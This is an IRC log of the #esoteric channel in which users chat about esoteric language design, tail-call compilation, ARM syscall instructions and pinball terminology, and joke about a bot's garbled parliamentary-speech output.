illegal elsewhere too < 1394488809 190100 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`addquote Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, [...] < 1394488809 545751 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: mr president, the extensive action programme for central america, we must not be exploited on european ships just because they have fewer controls and do not really achieve results. < 1394488811 260873 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1175) Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, [...] < 1394488825 157785 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think that ^ is something we all aspire to. < 1394488894 270611 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In retrospect, possibly the second phrase could also have made the cut. < 1394488921 767247 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also, "a women dies every ten days because she has taken a political decision"? < 1394488946 302663 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wonder if that's really in there. < 1394488970 693789 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : Phantom_Hoover, what are your thoughts on fungot being pro-Scottish independence? < 1394488971 33897 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Phantom_Hoover: madam president, i am sorry, too, is in reality the problem, however. first of all, we can still support them, whether they achieved practical results, are totally misleading. < 1394488976 291628 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :god bless you fungot < 1394488976 579985 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Phantom_Hoover: mr president, i believe we should take a more balanced debate. they are also developing sectors in which there is minimal to no demand from fnord associations and programmes. < 1394488990 581829 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh well he's retreating from his earlier statements < 1394489053 399781 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"In my homeland of Sweden, a women dies every ten days because she has been badly beaten by a man who is close to her." Oh, so not because of political decisions, then. < 1394489361 579206 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394489524 160587 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394489630 894364 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394489820 828531 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394489826 422435 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394491041 656143 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"the exact behavior of [document.write] can in some cases be dependent on network latency" < 1394491042 983731 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 244 seconds < 1394491044 619338 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :best. platform. ever. < 1394491204 419451 :ion!ion@heh.fi PRIVMSG #esoteric :kek < 1394491458 330102 :Tritonio1!~Thunderbi@79.141.167.40 QUIT :Ping timeout: 240 seconds < 1394491667 710123 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 265 seconds < 1394491999 910279 :Sorella_!~queen@201.80.214.167 QUIT :Quit: It is tiem! < 1394492581 783507 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394492885 652321 :nooodl!~nooodl@91.176.177.103 QUIT :Ping timeout: 265 seconds < 1394493010 437066 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394493167 691802 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Quit: Leaving < 1394493199 840333 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394493260 991511 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Client Quit < 1394493293 685591 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394493553 789744 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394493818 731074 :atslash!~atslash@playisland.ru QUIT :Quit: This computer has gone to sleep < 1394495496 153722 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : "the exact behavior of [document.write] can in some cases be dependent on network latency" < 1394495506 890344 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i saw the square brackets and assumed this was smalltalk initially < 1394495516 310417 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not Objective C? < 1394495639 363090 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i associate them more with smalltalk for some reason < 1394495689 609547 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::t runCont < 1394495690 396343 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Cont r a -> (a -> r) -> r < 1394495694 410283 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah, now I've started associating them with Feather < 1394495701 144869 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even though I can no longer remember Feather syntax < 1394495712 341570 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and I'm not sure it was ever very pinned down anyway < 1394495731 951877 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :all I can remember was that the guiding principle was "look like Smalltalk but for different reasons" < 1394495862 806807 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I remember you talking about Smalltalk inspiring Feather < 1394495918 676808 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah < 1394495931 625244 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the entirety of Feather was me trying to fix small perceived problems with Smalltalk < 1394495943 121439 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, I guess I have a tendency to do that < 1394495952 624482 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :luckily in NetHack 4, we only ended up with grammartree < 1394495969 448200 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Hey ais, have you fixed the sink yet?" "Just a minute, I'm working on a generalization of navier-stokes I'll need" < 1394496381 96746 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What is navier-stokes? < 1394496413 473059 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Navier%E2%80%93Stokes_equations < 1394496417 761686 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How complicated is it usually to compile tail calls? < 1394496438 571121 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: you just replace them with a goto, normally < 1394496448 46998 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the only hard part is if there's something weird about the way arguments or return values are passed < 1394496460 691520 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :should be about the same as compiling a function call, only with a jump instead of a ret < 1394496474 576105 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: In a program I am writing, I already have more than 37 lines of code for compiling tail calls. < 1394496494 33846 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :er, jump instead of a jsr, wtf ever < 1394496496 76015 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Much of which is determining whether or not a tail call is possible. < 1394496499 725428 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: detecting tail calls is the hard part, yes < 1394496560 957703 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: are you saying you've forgotten feather < 1394496561 178432 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As well as due to the way arguments are passed, it is doing other things with them. < 1394496568 102589 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: many of the details, yes < 1394496572 104200 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is probably a good thing < 1394496580 978660 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I could probably reconstruct what I had but don't make me < 1394496585 529325 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also I haven otes < 1394496587 968842 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*notes < 1394496600 651206 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is compiling into Z-machine, so arguments are part of the CALL opcode. < 1394496622 456791 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(As well as XCALL, CALL1, CALL2, ICALL, ICALL1, ICALL2, and IXCALL.) < 1394496646 260641 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394496675 804436 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394496685 519166 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394496781 83033 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394496802 765493 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394496808 297745 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This compiler won't even attempt a tail call unless the user requests it anyways. < 1394496808 482737 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :theory: the real reason why ais523 goes crazy whenever he tries to think about feather is that it's actually isomorphic to the language the universe is written in, and there's a defense routine for preventing anyone inside from inventing it. < 1394496852 920319 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :grammartree? < 1394496858 692404 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :all the weirdness of quantum mechanics is actually a side effect of the time rewinding. < 1394496966 909701 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394497804 368797 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394498681 908761 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1394499491 515983 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Changing host < 1394499491 739429 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394500915 188845 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394500919 706436 :Tod-Autojoined2!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Quit: This is me, signing off. Probably rebooting or something. < 1394500935 350996 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394501401 218070 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394502056 610175 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1394502098 892820 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394502112 151422 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394503324 400957 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394504405 466361 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394504425 751741 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394504979 41453 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kmc: LEARN FROM MY FOLLOWERS < 1394504986 102739 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what have they done < 1394505040 673485 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :just someone on twitter telling it how it is < 1394505045 285116 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :no idea who it is < 1394505382 465807 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :FOLLOWERS: LEARN FROM MY KMC < 1394505392 169343 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol < 1394505397 728043 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's what the RT button is for < 1394505417 206876 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :that's how you got into trouble in the first place < 1394505445 998065 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :prepare for trouble and make it double! < 1394505867 390978 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394506384 738119 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Any good FTP servers that aren't FileZilla Server? < 1394506425 549862 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :publicfile < 1394506428 610823 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if your files are public < 1394506497 578133 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I just want to transfer files from one computer to another < 1394506509 400732 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Shared folders don't seem to work well, bluetooth doesn't seem to work well < 1394506514 229315 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Or at all. For both) < 1394506728 904604 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 244 seconds < 1394507205 293051 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394507665 43804 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :give up and use dropbox < 1394507740 171766 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :http://utilite-computer.com/web/utilite-models seems kind of cute < 1394507811 14546 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394507828 124018 :JesseH!~JesseH@oftn/member/JesseH QUIT :Read error: Connection reset by peer < 1394507847 213579 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394508136 996792 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394508160 410381 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394508236 757674 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394508752 299349 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394508990 449542 :Bike_!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394509026 965799 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Disconnected by services < 1394509029 462414 :Bike_!~Glossina@gannon-wless-gw.resnet.wsu.edu NICK :Bike < 1394510060 87856 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394510163 940787 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394510579 300551 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394510586 167099 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394510760 465265 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394510770 867341 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394510833 419590 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394510833 950715 :atehwa!atehwa@aulis.sange.fi QUIT :Ping timeout: 240 seconds < 1394510840 187133 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1394510914 68925 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394510961 249306 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :copumpkin: O, it has RS232. It least, it has that, is a good idea. < 1394510974 200361 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :there are a few other ones too < 1394510989 980353 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :http://hardkernel.com/main/products/prdt_info.php?g_code=G138745696275 is particularly tempting < 1394511072 525681 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But a better idea, would be to have both RS232 and GPIO available. < 1394511418 755235 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394513083 4564 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Read error: Connection reset by peer < 1394513317 734015 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394513337 329700 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394513351 210624 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394513487 379140 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394513617 297604 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394514160 119156 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394514536 688591 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://www.youtube.com/watch?v=m3qHepWxn-k Hacking, is easy < 1394516346 822574 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1394517261 832587 :Slereahphone_!~slereahph@193.253.170.230 JOIN :#esoteric < 1394517394 85580 :Slereahphone!~slereahph@193.253.170.210 QUIT :Ping timeout: 264 seconds < 1394517395 614416 :Slereahphone_!~slereahph@193.253.170.230 NICK :Slereahphone < 1394517517 999940 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394518531 988099 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :uint64_t arg; strncpy((char *) &arg, argv[1], 8); < 1394518737 427263 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394518977 907881 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I noticed ARM doesn't have a specific instruction for fast syscalls like x86 does; is that because normal interrupts are fast enough, with register banks and such? < 1394518990 16244 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :copumpkin: do you know < 1394519287 127917 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 244 seconds < 1394520022 562715 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394520262 381184 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 265 seconds < 1394520429 580970 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's official... tomorrow, I must buy sleepphones < 1394520434 463393 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want to sleep with music < 1394520549 175211 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :kmc: what is svc if not that? < 1394520742 737346 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :To be fair, it used to be called "swi" which makes it sound not specific for system calls. < 1394520757 293695 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394520832 641781 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but isn't it handled the same way as other kinds of interrupts? < 1394521270 221015 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: It used to be called "swi"? And how is it called now? < 1394521325 350977 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :svc < 1394521342 234213 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why did they change it? < 1394521425 886916 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Just a guess, but perhaps to better reflect what it is used for. (Also there's a "hvc" for hypervisor calls on systems supporting hardware virtualization, and perhaps more.) < 1394521946 338992 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1394522555 691155 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What do they call it in pinball if a ball goes down one outlane and up the other? < 1394522600 624146 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :a miracle < 1394522780 530245 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there a more specific name for such a thing? And, what is it called if the ball goes down the center lane and up an outlane? < 1394523541 783973 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 252 seconds < 1394523797 438236 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If it goes down an outlane and up through the center because you punched the front, it's called a "bangback". < 1394523830 418191 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I know that, but it isn't what I am asking. < 1394523877 644573 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I haven't heard of any terms for the things you're asking; maybe they're sufficiently rare? < 1394523952 939166 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There is also the kind of "sideways bangback" (I think there is actually another term), where the ball is about to fall through the outlane but the wall strikes it so it goes back in (because you hit the table from the side). < 1394524100 613907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There is also the thing where the ball hits a flat surface, uncurls and starts jumping around. Wait, no, that's just in Sonic Spinball. < 1394524217 577963 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394524254 807313 :Slereahphone!~slereahph@193.253.170.230 QUIT :Remote host closed the connection < 1394524276 839052 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394524359 317353 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394524398 282935 :Slereahphone!~slereahph@193.253.170.230 QUIT :Remote host closed the connection < 1394524399 81953 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know that there are some flipperless pinball games that have flippers (or, at least one)? < 1394524399 317031 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394524399 667911 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394524419 317136 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394524469 534765 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Such as this computer pinball game "Goo Goo Da Da", which has only one flipper, although you have no direct control over it (rather, it flips when the ball hits the bell). < 1394524558 137778 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :How can it be a flipperless game if it has flippers? < 1394524656 326796 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It isn't used like the flippers in most pinball games are. Instead it just flips 180 degrees when the ball hits the bell, and you have no direct control over it. < 1394525270 813343 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That is how it can be a flippeless game if it has flippers. < 1394525551 286228 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394526472 329474 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394530224 34638 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394530695 316744 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394530710 973131 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394532119 408161 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394532384 977137 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394532924 335564 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394533135 573241 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394533152 317548 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394533209 310846 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394534154 102449 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394534535 314357 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : http://utilite-computer.com/web/utilite-models seems kind of cute <-- i'm sorry but how can something be cute when THERE IS NO PICTURE that's ab surd hth < 1394534538 632592 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellørjan. < 1394534551 137553 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ahoily < 1394534596 317894 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :anything new from the past few days? < 1394534600 890123 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : just someone on twitter telling it how it is <-- LINKS OR GTFO < 1394534656 885612 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in the channel? nothing that i remember. < 1394534706 570911 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well, ais523 claims to be slowly forgetting feather. < 1394534738 567174 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there _may_ have been some quoting or wisdom, but i assume you can check that yourself. < 1394534817 578092 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otherwise, scott aaronson has finally banned luboš motl. also, my teeth are still as perfect as they were two years ago hth < 1394534917 719180 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION spins a voodoo doll so that Feather won't forget ais523. < 1394534941 348314 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :as for the wisdom, I was already checking it, splicing in the new additions. < 1394534957 122884 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: in that case, please today's logs for my theory of why feather turns people insane hth < 1394534964 5210 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :who are these two mysterious persons? also, my teeth are as imperfect as they are. < 1394534989 150591 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION goes and pleases the logs... < 1394535025 391211 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i had a dentist checkup yesterday, which to me is a big event given my trouble with controlling my sleep schedule, but it worked out perfectly. < 1394535122 136365 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :my dentist doesn't like the fact that I tend to fall asleep on her chair. when shen gets tired of telling me to open my mouth wide, she just jams her hand in it. < 1394535302 262438 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: scott aaronson is one of the world's foremost mathematical researchers of quantum computing, and has the world's most popular blog on the subject. luboš motl is one of the world's foremost researchers in insults, condescension, vitriol, and being repulsive, which tends to overshadow the fact he _used_ to be a good researcher in string theory. < 1394535366 742474 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I have pleased the logs. my sanity is affected. < 1394535532 126607 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops *please see < 1394535746 287650 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :to anecdotically requote another famous and very early blogger, john baez: "It is not easy to ignore Luboš, but it is always worth the effort." < 1394535786 439243 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(john baez blogged before the word existed, back when us geeks read usenet.) < 1394535804 716983 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I am young. usenet never was a source of information to me. < 1394535862 449519 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :just think of it as a better reddit from a more enlightened age. < 1394536031 972477 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah, some day even reddit shall pass, and be remembered as the paroxysm of enlightenment. < 1394536049 397847 :boily!~boily@96.127.201.149 QUIT :Quit: PSEUDOSTALGIC CHICKEN < 1394536073 536612 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell boily technically usenet hasn't passed, ais523 somehow manages to still be there, for one < 1394536073 774177 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394536155 30603 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION should have made that more accurate to the star wars quote < 1394536622 54681 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what make of mobile phone does fungot use? < 1394536623 455055 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :b_jonas: mr president, the european market to north korean products. feasibility studies will be conducted in this area without a discussion about good and bad advisers in europe. responsibilities must be clearly defined. we shall shape its face by conducting this constitutional debate in a non-committal way on the hormone question. now let me come to a conclusion while maintaining cohesion between the two korean states. second < 1394536737 346295 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Hive of scam and miscellany < 1394536872 18072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's one of fungot's better europarls, i think < 1394536872 566538 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: mr marinos, not only of a few major owners who are also not acting alone. this is also the province of cordoba in andalusia. ancient olive groves and trees play a particularly important and sensitive legislation. nobody would wish this to occur again. < 1394537313 720304 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wouldn't be surprised if most of those sentences were lifted straight from the corpus < 1394537786 353699 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i would be hth < 1394538000 844417 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394538281 793473 